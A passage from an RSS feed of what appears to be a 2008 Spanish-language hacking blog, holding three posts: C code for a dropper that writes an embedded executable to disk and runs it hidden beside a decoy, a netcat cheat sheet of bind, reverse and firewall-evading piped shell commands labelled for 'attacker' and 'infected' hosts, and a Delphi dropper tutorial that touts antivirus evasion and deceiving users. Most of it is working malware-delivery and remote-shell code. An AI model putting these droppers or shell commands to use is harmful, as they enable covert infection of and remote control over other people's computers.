<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hbinario = FindResource<span class="br0">&#40;</span> <span class="kw2">NULL</span>, <span class="st0">&quot;binario&quot;</span>, <span class="st0">&quot;RT_RCDATA&quot;</span> <span class="br0">&#41;</span>; <span class="co1">//buscamos recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hbinario2 = LoadResource<span class="br0">&#40;</span> <span class="kw2">NULL</span>, hbinario <span class="br0">&#41;</span>; <span class="co1">// cargamos recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = LockResource<span class="br0">&#40;</span> hbinario2 <span class="br0">&#41;</span>; <span class="co1">// &nbsp;fijamos recurso para usarlo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD size = SizeofResource<span class="br0">&#40;</span><span class="nu0">0</span>, hbinario<span class="br0">&#41;</span>; <span class="co1">// medimos el tamaño del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE* f = fopen<span class="br0">&#40;</span><span class="st0">&quot;1.exe&quot;</span>,<span class="st0">&quot;wb&quot;</span><span class="br0">&#41;</span>; &nbsp;<span class="co1">//creamos el archivo donde copiarlo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite<span class="br0">&#40;</span>data, size, <span class="nu0">1</span>, f<span class="br0">&#41;</span>; <span class="co1">// escribimos en el archivo el buffer del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose<span class="br0">&#40;</span>f<span class="br0">&#41;</span>; <span class="co1">// cerramos el arhivo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinExec<span class="br0">&#40;</span><span class="st0">&quot;1.exe&quot;</span>, SW_HIDE<span class="br0">&#41;</span>; <span class="co1">//lo ejecutamos en modo oculto</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FreeResource<span class="br0">&#40;</span> hbinario <span class="br0">&#41;</span>; <span class="co1">// liberamos recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> extraer2<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HANDLE &nbsp;hbinario2; <span class="co1">//handle del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HRSRC hbinario; &nbsp;<span class="co1">// variable del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">void</span>* data; <span class="co1">//recurso</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hbinario = FindResource<span class="br0">&#40;</span> <span class="kw2">NULL</span>, <span class="st0">&quot;binario2&quot;</span>, <span class="st0">&quot;RT_RCDATA&quot;</span> <span class="br0">&#41;</span>; <span class="co1">//buscamos recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hbinario2 = LoadResource<span class="br0">&#40;</span> <span class="kw2">NULL</span>, hbinario <span class="br0">&#41;</span>; <span class="co1">// cargamos recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = LockResource<span class="br0">&#40;</span> hbinario2 <span class="br0">&#41;</span>; <span class="co1">// &nbsp;fijamos recurso para usarlo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD size = SizeofResource<span class="br0">&#40;</span><span class="nu0">0</span>, hbinario<span class="br0">&#41;</span>; <span class="co1">// medimos el tamaño del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE* f = fopen<span class="br0">&#40;</span><span class="st0">&quot;calc.exe&quot;</span>,<span class="st0">&quot;wb&quot;</span><span class="br0">&#41;</span>; &nbsp;<span class="co1">//creamos el archivo donde copiarlo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite<span class="br0">&#40;</span>data, size, <span class="nu0">1</span>, f<span class="br0">&#41;</span>; <span class="co1">// escribimos en el archivo el buffer del recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose<span class="br0">&#40;</span>f<span class="br0">&#41;</span>; <span class="co1">// cerramos el arhivo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinExec<span class="br0">&#40;</span><span class="st0">&quot;calc.exe&quot;</span>, SW_SHOWNORMAL<span class="br0">&#41;</span>; <span class="co1">//lo ejecutamos normalmente</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FreeResource<span class="br0">&#40;</span> hbinario <span class="br0">&#41;</span>; <span class="co1">// liberamos recurso</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
extraer1<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// ejecutamos 1.exe [OCULTO]</span><br />
extraer2<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// ejecutamos calc.exe [NORMAL]</span><br />
<span class="br0">&#125;</span></div>
<p>Bien ahora ya sabes como incluir otros binarios dentro de tu aplicacion y como sacarles provecho.<br />
El codigo puede mejorarce mucho añadiendo comprobaciones en cada etapa para evitar errores.</p>
<p>Esta podria considerarce una buena forma de incluir multiples archivos sin requerir de un joiner o blinder</p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/06/17/dropper-c-devc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Netcat, La navaja suiza</title>
		<link>http://aztekmindz.org/2008/06/16/netcat-la-navaja-suiza/</link>
		<comments>http://aztekmindz.org/2008/06/16/netcat-la-navaja-suiza/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 02:25:41 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[Herramientas]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=11</guid>
		<description><![CDATA[Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la [...]]]></description>
			<content:encoded><![CDATA[<p>Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).</p>
<p>Me pareció buena idea poner las sintaxis de ejecución de netcat ya que siempre es muy útil tenerlas a la mano.</p>
<p>Las resumiré en unas pocas líneas:</p>
<p><strong>Shell en escucha por puerto 666 con netcat<br />
</strong></p>
<p>Infectado:<br />
NC -l -d -e cmd.exe -p 666</p>
<p>Atacante:<br />
NC -vv IP 666</p>
<p><strong>Shell inversa por puerto 666 con netcat<br />
</strong></p>
<p>Atacante:<br />
NC –vv –l –p 666</p>
<p>Infectado:<br />
NC -d -e cmd.exe IP 666</p>
<p><strong>Shell pipeada con netcat ( útil para pasar FW ).</strong></p>
<p>Atacante:<br />
Recepción de datos puerto: 80 [HTTP]<br />
Envío de datos puerto: 25 [SMTP]</p>
<p>Infectado:<br />
NC IP 80 | cmd.exe | NC IP 25</p>
<p><strong>Transferencia de archivos con netcat<br />
</strong></p>
<p>Atacante<br />
NC -l -p 666 &lt; FILE</p>
<p>Infectado:<br />
NC IP 666 &gt; FILE</p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/06/16/netcat-la-navaja-suiza/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Dropper desde 0 [ Delphi ]</title>
		<link>http://aztekmindz.org/2008/06/16/dropper-desde-0-delphi/</link>
		<comments>http://aztekmindz.org/2008/06/16/dropper-desde-0-delphi/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 01:22:23 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=10</guid>
		<description><![CDATA[Ok, comenzemos&#8230; ¿Que es un dropper? Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas. Esto crea el efecto para un usuario comun que pensara que [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, comenzemos&#8230;<br />
<strong>¿Que es un dropper?</strong></p>
<p><strong></strong><br />
Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.<br />
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando una sola aplicación, cuando en verdad pueden haber otras tantas.<br />
<strong> ¿Porque un dropper y no un binder?</strong></p>
<p><strong></strong><br />
Por su flexibilidad, porque su header es menos perseguido que el de los archivos bindeados para los AV que cargan firmas como locos y porque son un buen inicio para poder entender tanto binders como droppers.<br />
Conceptos para hacer un dropper<br />
<strong> ¿Como incluir un archivo en un programa?</strong></p>
<p><strong></strong><br />
Tenemos las siguientes posibilidades:<br />
* Como un array de tipo caracter [el archivo letra por letra]<br />
* Como un resource. [el archivo como un recurso del programa]<br />
* Iniciando con el header del archivo al final del programa, &#8220;union por la cola&#8221; [Tipo binder]</p>
<p>Añadiendola como un array nos ocuparia mucho más espacio, y la union tipo binder no nos interesa por el momento. Añadirlo como un resource sera nuestra elección:<br />
Creando un resource: Esto se puede hacer en notepad y luego guardarlo como un archivo con extension .RC</p>
<p><span class="postbody"><br />
<img src="http://img517.imageshack.us/img517/9771/0rcdq5.jpg" border="0" alt="" /></span></p>
<p>Delphi nos avisara de la ausencia del .RES y lo creara por nosotros siguiendo la ruta que encuentre en el .RC y relacionando ambos archivos en una libreria de recursos .RES.</p>
<p><strong>Creando el dropper el Delphi</strong><br />
Bueno, para ahorrar espacio en el codigo añado los comentarios de que es cada cosa:<br />
* Abrimos Delphi, en un nuevo proyecto copiamos el source siguiente.<br />
Luego guardamos como .dpr (asegurarse que el archivo .RC y los archivos .exe para droppear esten en la misma.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">program</span> dropper;<br />
<span class="coMULTI">{$R &#8216;RSCR.res&#8217; &#8216;RSCR.RC&#8217;}</span> &nbsp; <span class="co1">//Establecemos nuestros recursos &gt;.&lt;</span><br />
<span class="kw1">uses</span><br />
&nbsp; Windows, Shellapi;<br />
<span class="kw1">var</span><br />
&nbsp; File1: <span class="kw4">String</span> = <span class="st0">&#8216;archivo1&#8242;</span>;<br />
&nbsp; File2: <span class="kw4">String</span> = <span class="st0">&#8216;archivo2&#8242;</span>;<br />
&nbsp; File1Extention: <span class="kw4">String</span> = <span class="st0">&#8216;exe&#8217;</span>;<br />
&nbsp; File2Extention: <span class="kw4">String</span> = <span class="st0">&#8216;exe&#8217;</span>;<br />
<span class="coMULTI">{$R *.res}</span></p>
<p><span class="co1">// Extraer un resource a un archivo y ejecutarlo</span><br />
<span class="kw1">procedure</span> ExtractFile<span class="br0">&#40;</span>whichone: <span class="kw4">String</span><span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp;WhichExtention: <span class="kw4">String</span>;<br />
&nbsp;TempDirBuff,TempFileNameBuff,ResultFilePath,ResourcePointer: <span class="kw4">PChar</span>;<br />
&nbsp;ResourceLocation: HRSRC;<br />
&nbsp;ResourceSize,byteswritten: <span class="kw4">Longword</span>;<br />
&nbsp;ResDataHandle: <span class="kw4">THandle</span>;<br />
&nbsp;FileHandle: <span class="kw4">THandle</span>;<br />
<span class="kw1">begin</span><br />
&nbsp;<span class="co1">//Obtener memoria</span><br />
&nbsp;<span class="kw3">getMem</span><span class="br0">&#40;</span>TempDirBuff,MAX_PATH<span class="nu0">+1</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw3">getMem</span><span class="br0">&#40;</span>TempFileNameBuff,MAX_PATH<span class="nu0">+1</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Obtener la ruta Temp</span><br />
&nbsp;GetTempPath<span class="br0">&#40;</span>MAX_PATH<span class="nu0">+1</span>,TempDirBuff<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Obtener un nombre para el archivo</span><br />
&nbsp;GetTempFileName<span class="br0">&#40;</span>TempDirBuff,<span class="st0">&#8216;~win&#8217;</span>,<span class="nu0">0</span>,TempFileNameBuff<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Obtener la extension de los archivos extraidos</span><br />
&nbsp;<span class="kw1">if</span> whichone = File1 <span class="kw1">then</span> WhichExtention := File1Extention<br />
&nbsp;<span class="kw1">else</span> WhichExtention := File2Extention;<br />
&nbsp;<span class="co1">//Crear un string para la ruta C:\Windows\Temp\~winxxx.exe</span><br />
&nbsp;ResultFilePath := <span class="kw4">PChar</span><span class="br0">&#40;</span><span class="kw3">Copy</span><span class="br0">&#40;</span>TempFileNameBuff,<span class="nu0">0</span>,<span class="kw3">Length</span><span class="br0">&#40;</span>TempFileNameBuff<span class="br0">&#41;</span> &#8211; <span class="nu0">3</span><span class="br0">&#41;</span> + WhichExtention<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Liberar memoria</span><br />
&nbsp;<span class="kw3">freeMem</span><span class="br0">&#40;</span>TempDirBuff<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw3">freeMem</span><span class="br0">&#40;</span>TempFileNameBuff<span class="br0">&#41;</span>;</p>
<p>&nbsp;<span class="co1">//Buscar el resource</span><br />
&nbsp;ResourceLocation := FindResource<span class="br0">&#40;</span>HInstance,<span class="kw4">PChar</span><span class="br0">&#40;</span>whichone<span class="br0">&#41;</span>,RT_RCDATA<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResourceLocation = <span class="nu0">0</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Obtener el tamaño del resource</span><br />
&nbsp;ResourceSize := SizeofResource<span class="br0">&#40;</span>HInstance,ResourceLocation<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResourceSize = <span class="nu0">0</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Cargar el recurso en memoria</span><br />
&nbsp;ResDataHandle := LoadResource<span class="br0">&#40;</span>HInstance,ResourceLocation<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResDataHandle = <span class="nu0">0</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Asegurar el resource</span><br />
&nbsp;ResourcePointer := LockResource<span class="br0">&#40;</span>ResDataHandle<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResourcePointer = <span class="kw2">NIL</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Crear nuestro archivo</span><br />
&nbsp;FileHandle := CreateFile<span class="br0">&#40;</span>ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,<span class="kw2">NIL</span>,CREATE_ALWAYS,<br />
FILE_ATTRIBUTE_NORMAL,<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> FileHandle = INVALID_HANDLE_VALUE <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Escribir Resource en un archivo</span><br />
&nbsp;WriteFile<span class="br0">&#40;</span>FileHandle,ResourcePointer^,ResourceSize,byteswritten,<span class="kw2">NIL</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Cerrar archivo</span><br />
&nbsp;CloseHandle<span class="br0">&#40;</span>FileHandle<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Ejecutar archivo</span><br />
&nbsp;ShellExecute<span class="br0">&#40;</span><span class="nu0">0</span>,<span class="kw2">NIL</span>,ResultFilePath,<span class="kw2">NIL</span>,<span class="kw2">NIL</span>,SW_SHOW<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//return</span><br />
<span class="kw1">end</span>;<br />
<span class="co1">// Aqui es el inicio del programa</span><br />
<span class="kw1">begin</span><br />
&nbsp; ExtractFile<span class="br0">&#40;</span>File1<span class="br0">&#41;</span>; <span class="co1">//Extraer + ejecutar Archivo1</span><br />
&nbsp; ExtractFile<span class="br0">&#40;</span>File2<span class="br0">&#41;</span>; <span class="co1">//Extract + ejecutar Archivo2</span><br />
&nbsp; <span class="co1">//Fin del programa</span><br />
<span class="kw1">end</span>.</div>
<p><span class="postbody"> Ok, si miramos de cerca el codigo, nuestro dropper ahora tomara los archivos que esten en el .RES, los extraera y luego los ejecutara en la carpeta temp bajo un nombre aleatorio. Ahora que ya tenemos lo necesario para que nuestro dropper funcione, compilamos y ya esta. </span></p>
<p>Tutorial Elaborado Por: <span class="name"><strong>status.0 [ www.indetectables.net ]</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/06/16/dropper-desde-0-delphi/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

